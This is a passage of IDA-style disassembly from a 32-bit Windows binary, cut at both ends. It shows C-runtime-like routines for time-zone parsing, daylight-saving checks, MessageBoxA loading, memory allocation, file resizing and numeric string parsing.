sub_4234D1 push 16h call sub_425831 pop ecx pop ecx push 3 call sub_41BF42 ; END OF FUNCTION CHUNK FOR sub_42249C ; =============== S U B R O U T I N E ======================================= sub_4246E7 proc near ; CODE XREF: sub_422571:loc_4225B0p cmp dword_4D99F8, 0 jnz short locret_4246FB call sub_4246FC inc dword_4D99F8 locret_4246FB: ; CODE XREF: sub_4246E7+7j retn sub_4246E7 endp ; =============== S U B R O U T I N E ======================================= sub_4246FC proc near ; CODE XREF: sub_4246E7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4D9940, ebp mov dword_43B0E0, ebx mov dword_43B0D0, ebx call sub_4259A3 mov esi, eax pop ecx cmp esi, ebp jnz loc_424825 push offset dword_4D9948 call near ptr 2880000h nop cmp eax, ebx jz loc_424954 mov eax, dword_4D9948 mov ecx, dword_4D999C imul eax, 3Ch cmp word_4D998E, bp push 1 pop edx mov dword_43B038, eax mov dword_4D9940, edx jz short loc_424773 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43B038, eax loc_424773: ; CODE XREF: sub_4246FC+69j cmp word_4D99E2, bp jz short loc_424797 mov eax, dword_4D99F0 cmp eax, ebp jz short loc_424797 sub eax, ecx mov dword_43B03C, edx imul eax, 3Ch mov dword_43B040, eax jmp short loc_4247A3 ; --------------------------------------------------------------------------- loc_424797: ; CODE XREF: sub_4246FC+7Ej ; sub_4246FC+87j mov dword_43B03C, ebp mov dword_43B040, ebp loc_4247A3: ; CODE XREF: sub_4246FC+99j lea eax, [esp+14h+var_4] mov esi, dword_427194 push eax push ebp push 3Fh mov edi, 220h push off_43B0C4 push ebx push offset dword_4D994C push edi push dword_4D97E0 call esi test eax, eax jz short loc_4247E0 cmp [esp+14h+var_4], ebp jnz short loc_4247E0 mov eax, off_43B0C4 and byte ptr [eax+3Fh], 0 jmp short loc_4247E8 ; --------------------------------------------------------------------------- loc_4247E0: ; CODE XREF: sub_4246FC+D1j ; sub_4246FC+D7j mov eax, off_43B0C4 and byte ptr [eax], 0 loc_4247E8: ; CODE XREF: sub_4246FC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43B0C8 push ebx push offset dword_4D99A0 push edi push dword_4D97E0 call esi test eax, eax jz loc_42494C cmp [esp+14h+var_4], ebp jnz loc_42494C mov eax, off_43B0C8 and byte ptr [eax+3Fh], 0 jmp loc_424954 ; --------------------------------------------------------------------------- loc_424825: ; CODE XREF: sub_4246FC+2Dj cmp byte ptr [esi], 0 jz loc_424954 mov eax, dword_4D99F4 cmp eax, ebp jz short loc_424848 push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_424954 loc_424848: ; CODE XREF: sub_4246FC+139j push dword_4D99F4 call sub_41BA31 push esi call sub_41B960 inc eax push eax call sub_41BC9B add esp, 0Ch cmp eax, ebp mov dword_4D99F4, eax jz loc_424954 push esi push eax call sub_41C620 push 3 push esi push off_43B0C4 call sub_41BD70 mov eax, off_43B0C4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42489D push 1 inc esi pop edi loc_42489D: ; CODE XREF: sub_4246FC+19Bj push esi call sub_41BE6E pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43B038, ecx loc_4248B4: ; CODE XREF: sub_4246FC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4248C2 cmp al, bl jl short loc_4248C5 cmp al, 39h jg short loc_4248C5 loc_4248C2: ; CODE XREF: sub_4246FC+1BCj inc esi jmp short loc_4248B4 ; --------------------------------------------------------------------------- loc_4248C5: ; CODE XREF: sub_4246FC+1C0j ; sub_4246FC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424918 inc esi push esi call sub_41BE6E imul eax, 3Ch pop ecx mov ecx, dword_43B038 add ecx, eax mov dword_43B038, ecx loc_4248E3: ; CODE XREF: sub_4246FC+1F2j mov al, [esi] cmp al, bl jl short loc_4248F0 cmp al, 39h jg short loc_4248F0 inc esi jmp short loc_4248E3 ; --------------------------------------------------------------------------- loc_4248F0: ; CODE XREF: sub_4246FC+1EBj ; sub_4246FC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424918 inc esi push esi call sub_41BE6E pop ecx mov ecx, dword_43B038 add ecx, eax mov dword_43B038, ecx loc_42490B: ; CODE XREF: sub_4246FC+21Aj mov al, [esi] cmp al, bl jl short loc_424918 cmp al, 39h jg short loc_424918 inc esi jmp short loc_42490B ; --------------------------------------------------------------------------- loc_424918: ; CODE XREF: sub_4246FC+1CCj ; sub_4246FC+1F7j ... cmp edi, ebp jz short loc_424924 neg ecx mov dword_43B038, ecx loc_424924: ; CODE XREF: sub_4246FC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43B03C, eax jz short loc_42494C push 3 push esi push off_43B0C8 call sub_41BD70 mov eax, off_43B0C8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424954 ; --------------------------------------------------------------------------- loc_42494C: ; CODE XREF: sub_4246FC+10Bj ; sub_4246FC+115j ... mov eax, off_43B0C8 and byte ptr [eax], 0 loc_424954: ; CODE XREF: sub_4246FC+40j ; sub_4246FC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4246FC endp ; =============== S U B R O U T I N E ======================================= sub_42495A proc near ; CODE XREF: sub_422571+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43B03C, edi jnz short loc_42496E loc_424967: ; CODE XREF: sub_42495A+148j ; sub_42495A+150j ... xor eax, eax jmp loc_424ABA ; --------------------------------------------------------------------------- loc_42496E: ; CODE XREF: sub_42495A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43B0D0 jnz short loc_42498C cmp eax, dword_43B0E0 jz loc_424A8E loc_42498C: ; CODE XREF: sub_42495A+24j cmp dword_4D9940, edi jz loc_424A64 movzx ecx, word_4D99EE push ecx cmp word_4D99E0, di movzx ecx, word_4D99EC push ecx movzx ecx, word_4D99EA push ecx movzx ecx, word_4D99E8 push ecx jnz short loc_4249DE movzx ecx, word_4D99E4 push edi push ecx movzx ecx, word_4D99E6 push ecx movzx ecx, word_4D99E2 push ecx push eax push ebx jmp short loc_4249F2 ; --------------------------------------------------------------------------- loc_4249DE: ; CODE XREF: sub_42495A+65j movzx ecx, word_4D99E6 push ecx push edi movzx ecx, word_4D99E2 push edi push ecx push eax push edi loc_4249F2: ; CODE XREF: sub_42495A+82j push ebx call sub_424B06 movzx eax, word_4D999A add esp, 2Ch cmp word_4D998C, di push eax movzx eax, word_4D9998 push eax movzx eax, word_4D9996 push eax movzx eax, word_4D9994 push eax jnz short loc_424A4C movzx eax, word_4D9990 push edi push eax movzx eax, word_4D9992 push eax movzx eax, word_4D998E push eax push dword ptr [esi+14h] push ebx loc_424A41: ; CODE XREF: sub_42495A+108j push edi call sub_424B06 add esp, 2Ch jmp short loc_424A8E ; --------------------------------------------------------------------------- loc_424A4C: ; CODE XREF: sub_42495A+C8j movzx eax, word_4D9992 push eax push edi movzx eax, word_4D998E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424A41 ; --------------------------------------------------------------------------- loc_424A64: ; CODE XREF: sub_42495A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424B06 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424B06 add esp, 58h loc_424A8E: ; CODE XREF: sub_42495A+2Cj ; sub_42495A+F0j mov edx, dword_43B0D4 mov eax, dword_43B0E4 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424ABE cmp ecx, edx jl loc_424967 cmp ecx, eax jg loc_424967 cmp ecx, edx jle short loc_424AD2 cmp ecx, eax jge short loc_424AD2 loc_424AB8: ; CODE XREF: sub_42495A+166j ; sub_42495A+16Aj mov eax, ebx loc_424ABA: ; CODE XREF: sub_42495A+Fj ; sub_42495A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424ABE: ; CODE XREF: sub_42495A+144j cmp ecx, eax jl short loc_424AB8 cmp ecx, edx jg short loc_424AB8 cmp ecx, eax jle short loc_424AD2 cmp ecx, edx jl loc_424967 loc_424AD2: ; CODE XREF: sub_42495A+158j ; sub_42495A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424AF9 xor ecx, ecx cmp eax, dword_43B0D8 setnl cl loc_424AF5: ; CODE XREF: sub_42495A+1AAj mov eax, ecx jmp short loc_424ABA ; --------------------------------------------------------------------------- loc_424AF9: ; CODE XREF: sub_42495A+18Ej xor ecx, ecx cmp eax, dword_43B0E8 setl cl jmp short loc_424AF5 sub_42495A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B06 proc near ; CODE XREF: sub_42495A+99p ; sub_42495A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424BA1 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424B31 shl esi, 2 mov eax, dword_43B0E8[esi] jmp short loc_424B3A ; --------------------------------------------------------------------------- loc_424B31: ; CODE XREF: sub_424B06+1Ej shl esi, 2 mov eax, dword_43B11C[esi] loc_424B3A: ; CODE XREF: sub_424B06+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_424B74 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B74: ; CODE XREF: sub_424B06+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424B7E: ; CODE XREF: sub_424B06+6Cj cmp [ebp+arg_10], 5 jnz short loc_424BBC cmp [ebp+arg_8], 0 jnz short loc_424B92 mov esi, dword_43B0EC[esi] jmp short loc_424B98 ; --------------------------------------------------------------------------- loc_424B92: ; CODE XREF: sub_424B06+82j mov esi, dword_43B120[esi] loc_424B98: ; CODE XREF: sub_424B06+8Aj cmp ecx, esi jle short loc_424BBC sub ecx, 7 jmp short loc_424BBC ; --------------------------------------------------------------------------- loc_424BA1: ; CODE XREF: sub_424B06+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424BB2 mov ecx, dword_43B0E8[eax*4] jmp short loc_424BB9 ; --------------------------------------------------------------------------- loc_424BB2: ; CODE XREF: sub_424B06+A1j mov ecx, dword_43B11C[eax*4] loc_424BB9: ; CODE XREF: sub_424B06+AAj add ecx, [ebp+arg_18] loc_424BBC: ; CODE XREF: sub_424B06+7Cj ; sub_424B06+94j ... cmp [ebp+arg_0], 1 jnz short loc_424BED mov eax, [ebp+arg_1C] mov dword_43B0D4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43B0D0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B0D8, eax jmp short loc_424C42 ; --------------------------------------------------------------------------- loc_424BED: ; CODE XREF: sub_424B06+BAj mov eax, [ebp+arg_1C] mov dword_43B0E4, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43B040 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B0E8, eax jns short loc_424C25 add eax, 5265C00h dec ecx mov dword_43B0E8, eax jmp short loc_424C36 ; --------------------------------------------------------------------------- loc_424C25: ; CODE XREF: sub_424B06+110j mov edx, 5265C00h cmp eax, edx jl short loc_424C3C sub eax, edx inc ecx mov dword_43B0E8, eax loc_424C36: ; CODE XREF: sub_424B06+11Dj mov dword_43B0E4, ecx loc_424C3C: ; CODE XREF: sub_424B06+126j mov dword_43B0E0, ebx loc_424C42: ; CODE XREF: sub_424B06+E5j pop esi pop ebx pop ebp retn sub_424B06 endp ; =============== S U B R O U T I N E ======================================= sub_424C46 proc near ; CODE XREF: ___:00422DA5p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424C57 add esp, 0Ch retn sub_424C46 endp ; =============== S U B R O U T I N E ======================================= sub_424C57 proc near ; CODE XREF: sub_424C46+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DAC81[eax], cl jnz short loc_424C84 cmp [esp+arg_4], 0 jz short loc_424C7D movzx eax, word_43A68A[eax*2] and eax, [esp+arg_4] jmp short loc_424C7F ; --------------------------------------------------------------------------- loc_424C7D: ; CODE XREF: sub_424C57+16j xor eax, eax loc_424C7F: ; CODE XREF: sub_424C57+24j test eax, eax jnz short loc_424C84 retn ; --------------------------------------------------------------------------- loc_424C84: ; CODE XREF: sub_424C57+Fj ; sub_424C57+2Aj push 1 pop eax retn sub_424C57 endp ; =============== S U B R O U T I N E ======================================= sub_424C88 proc near ; CODE XREF: sub_4234D1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4D99FC, ebx push esi push edi jnz short loc_424CD7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0C73h mov edi, eax cmp edi, ebx jz short loc_424D0D mov esi, dword_4270CC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4D99FC, eax jz short loc_424D0D push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4D9A00, eax call esi mov dword_4D9A04, eax loc_424CD7: ; CODE XREF: sub_424C88+Bj mov eax, dword_4D9A00 test eax, eax jz short loc_424CF6 call eax mov ebx, eax test ebx, ebx jz short loc_424CF6 mov eax, dword_4D9A04 test eax, eax jz short loc_424CF6 push ebx call eax mov ebx, eax loc_424CF6: ; CODE XREF: sub_424C88+56j ; sub_424C88+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4D99FC loc_424D09: ; CODE XREF: sub_424C88+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D0D: ; CODE XREF: sub_424C88+1Cj ; sub_424C88+33j xor eax, eax jmp short loc_424D09 sub_424C88 endp ; =============== S U B R O U T I N E ======================================= sub_424D11 proc near ; CODE XREF: sub_42383E+22p ; sub_42383E+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_424D31 test esi, esi jnz short loc_424D2B push 1 pop esi loc_424D2B: ; CODE XREF: sub_424D11+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_424D31: ; CODE XREF: sub_424D11+11j ; sub_424D11+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424D62 cmp ebx, dword_43A67C ja short loc_424D4D push ebx call sub_41E7CD mov edi, eax pop ecx test edi, edi jnz short loc_424D78 loc_424D4D: ; CODE XREF: sub_424D11+2Dj push esi push 8 push dword_4DADA0 nop call near ptr 27D0000h mov edi, eax test edi, edi jnz short loc_424D84 loc_424D62: ; CODE XREF: sub_424D11+25j cmp dword_4D9798, 0 jz short loc_424D84 push esi call sub_41F247 test eax, eax pop ecx jz short loc_424D8A jmp short loc_424D31 ; --------------------------------------------------------------------------- loc_424D78: ; CODE XREF: sub_424D11+3Aj push ebx push 0 push edi call sub_41BD10 add esp, 0Ch loc_424D84: ; CODE XREF: sub_424D11+4Fj ; sub_424D11+58j mov eax, edi loc_424D86: ; CODE XREF: sub_424D11+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D8A: ; CODE XREF: sub_424D11+63j xor eax, eax jmp short loc_424D86 sub_424D11 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238E3 loc_424D8E: ; CODE XREF: sub_4238E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DAA40, esi jle short loc_424DE1 loc_424D9D: ; CODE XREF: sub_4238E3+14FCj mov eax, dword_4D9A30 mov eax, [eax+esi*4] test eax, eax jz short loc_424DD8 test byte ptr [eax+0Ch], 83h jz short loc_424DBC push eax call sub_41B9DB cmp eax, 0FFFFFFFFh pop ecx jz short loc_424DBC inc edi loc_424DBC: ; CODE XREF: sub_4238E3+14CAj ; sub_4238E3+14D6j cmp esi, 14h jl short loc_424DD8 mov eax, dword_4D9A30 push dword ptr [eax+esi*4] call sub_41BA31 mov eax, dword_4D9A30 pop ecx and dword ptr [eax+esi*4], 0 loc_424DD8: ; CODE XREF: sub_4238E3+14C4j ; sub_4238E3+14DCj inc esi cmp esi, dword_4DAA40 jl short loc_424D9D loc_424DE1: ; CODE XREF: sub_4238E3+14B8j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4238E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DE6 proc near ; CODE XREF: sub_42393B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C2A0 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DAB60 jnb loc_424F1B mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_424F1B push 1 push esi push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_424F25 push 2 push esi push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_424F25 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424EC8 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BD10 push 8000h push ebx call sub_425A20 add esp, 14h mov [ebp+arg_4], eax loc_424E7C: ; CODE XREF: sub_424DE6+BDj mov eax, 1000h cmp edi, eax jge short loc_424E87 mov eax, edi loc_424E87: ; CODE XREF: sub_424DE6+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_422825 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424EA5 sub edi, eax test edi, edi jle short loc_424EBB jmp short loc_424E7C ; --------------------------------------------------------------------------- loc_424EA5: ; CODE XREF: sub_424DE6+B5j cmp dword_4D9718, 5 jnz short loc_424EB8 mov dword_4D9714, 0Dh loc_424EB8: ; CODE XREF: sub_424DE6+C6j or esi, 0FFFFFFFFh loc_424EBB: ; CODE XREF: sub_424DE6+BBj push [ebp+arg_4] push ebx call sub_425A20 pop ecx pop ecx jmp short loc_424F08 ; --------------------------------------------------------------------------- loc_424EC8: ; CODE XREF: sub_424DE6+71j jge short loc_424F08 push 0 push [ebp+arg_4] push ebx call sub_422633 push ebx call sub_4237AA add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_424F08 mov dword_4D9714, 0Dh nop call near ptr 2680DCDh mov dword_4D9718, eax loc_424F08: ; CODE XREF: sub_424DE6+E0j ; sub_424DE6:loc_424EC8j ... push 0 push [ebp+arg_0] push ebx call sub_422633 add esp, 0Ch mov eax, esi pop edi jmp short loc_424F28 ; --------------------------------------------------------------------------- loc_424F1B: ; CODE XREF: sub_424DE6+1Aj ; sub_424DE6+36j mov dword_4D9714, 9 loc_424F25: ; CODE XREF: sub_424DE6+4Ej ; sub_424DE6+63j or eax, 0FFFFFFFFh loc_424F28: ; CODE XREF: sub_424DE6+133j pop esi pop ebx leave retn sub_424DE6 endp ; =============== S U B R O U T I N E ======================================= sub_424F2C proc near ; CODE XREF: sub_4240DF+2Bp ; sub_4240DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_424F42 cmp ecx, esi jnb short loc_424F45 loc_424F42: ; CODE XREF: sub_424F2C+10j push 1 pop eax loc_424F45: ; CODE XREF: sub_424F2C+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_424F2C endp ; =============== S U B R O U T I N E ======================================= sub_424F4D proc near ; CODE XREF: sub_425006+40p ; sub_425006+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F7F lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F7F inc dword ptr [esi+8] loc_424F7F: ; CODE XREF: sub_424F4D+19j ; sub_424F4D+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F97 inc dword ptr [esi+8] loc_424F97: ; CODE XREF: sub_424F4D+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_424F2C add esp, 0Ch pop edi pop esi retn sub_424F4D endp ; =============== S U B R O U T I N E ======================================= sub_424FAB proc near ; CODE XREF: sub_425006+30p ; sub_425006+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_424FAB endp ; =============== S U B R O U T I N E ======================================= sub_424FD9 proc near ; CODE XREF: sub_42559E+1C8p ; sub_425A96+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_424FD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425006 proc near ; CODE XREF: sub_4250CD+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42507A push edi mov [ebp+arg_8], eax loc_42502D: ; CODE XREF: sub_425006+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_424FAB push ebx call sub_424FAB lea eax, [ebp+var_10] push eax push ebx call sub_424F4D push ebx call sub_424FAB mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_424F4D add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_42502D xor edx, edx pop edi loc_42507A: ; CODE XREF: sub_425006+21j ; sub_425006+9Fj cmp [ebx+8], edx jnz short loc_4250A7 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42507A ; --------------------------------------------------------------------------- loc_4250A7: ; CODE XREF: sub_425006+77j mov esi, 8000h loc_4250AC: ; CODE XREF: sub_425006+B9j test [ebx+8], esi jnz short loc_4250C1 push ebx call sub_424FAB add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4250AC ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: sub_425006+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_425006 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250CD proc near ; CODE XREF: sub_424428+17p ; sub_424455+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_425108: ; CODE XREF: sub_4250CD+52j mov cl, [edi] cmp cl, 20h jz short loc_42511E cmp cl, 9 jz short loc_42511E cmp cl, 0Ah jz short loc_42511E cmp cl, 0Dh jnz short loc_425121 loc_42511E: ; CODE XREF: sub_4250CD+40j ; sub_4250CD+45j ... inc edi jmp short loc_425108 ; --------------------------------------------------------------------------- loc_425121: ; CODE XREF: sub_4250CD+4Fj push 4 pop esi loc_425124: ; CODE XREF: sub_4250CD+AEj ; sub_4250CD+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4253A7 ; default ; jumptable 00425130 case 10 jmp off_42556E[eax*4] ; switch jump loc_425137: ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 0 jl short loc_425148 cmp bl, 39h jg short loc_425148 loc_425141: ; CODE XREF: sub_4250CD+C4j ; sub_4250CD+118j push 3 jmp loc_425365 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250CD+6Dj ; sub_4250CD+72j cmp bl, byte_43A890 jnz short loc_425157 loc_425150: ; CODE XREF: sub_4250CD+124j push 5 jmp loc_42539D ; --------------------------------------------------------------------------- loc_425157: ; CODE XREF: sub_4250CD+81j movsx eax, bl sub eax, 2Bh jz short loc_42517D dec eax dec eax jz short loc_425171 sub eax, 3 jnz loc_425440 jmp loc_425200 ; --------------------------------------------------------------------------- loc_425171: ; CODE XREF: sub_4250CD+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425124 ; --------------------------------------------------------------------------- loc_42517D: ; CODE XREF: sub_4250CD+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425124 ; --------------------------------------------------------------------------- loc_425186: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 1 mov [ebp+var_10], edx jl short loc_425193 cmp bl, 39h jle short loc_425141 loc_425193: ; CODE XREF: sub_4250CD+BFj cmp bl, byte_43A890 jz loc_42525B cmp bl, 2Bh jz short loc_4251D5 cmp bl, 2Dh jz short loc_4251D5 cmp bl, 30h jz short loc_425200 loc_4251AE: ; CODE XREF: sub_4250CD+207j cmp bl, 43h jle loc_425440 cmp bl, 45h jle short loc_4251CE cmp bl, 63h jle loc_425440 cmp bl, 65h jg loc_425440 loc_4251CE: ; CODE XREF: sub_4250CD+EDj push 6 jmp loc_42539D ; --------------------------------------------------------------------------- loc_4251D5: ; CODE XREF: sub_4250CD+D5j ; sub_4250CD+DAj ... dec edi push 0Bh jmp loc_42539D ; --------------------------------------------------------------------------- loc_4251DD: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 2 jl short loc_4251EB cmp bl, 39h jle loc_425141 loc_4251EB: ; CODE XREF: sub_4250CD+113j cmp bl, byte_43A890 jz loc_425150 cmp bl, 30h jnz loc_4253B5 loc_425200: ; CODE XREF: sub_4250CD+9Fj ; sub_4250CD+DFj mov eax, edx jmp loc_425124 ; --------------------------------------------------------------------------- loc_425207: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_10], edx ; jumptable 00425130 case 3 loc_42520A: ; CODE XREF: sub_4250CD+184j cmp dword_43A88C, edx jle short loc_425223 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_425231 ; --------------------------------------------------------------------------- loc_425223: ; CODE XREF: sub_4250CD+143j mov ecx, off_43A680 movzx eax, 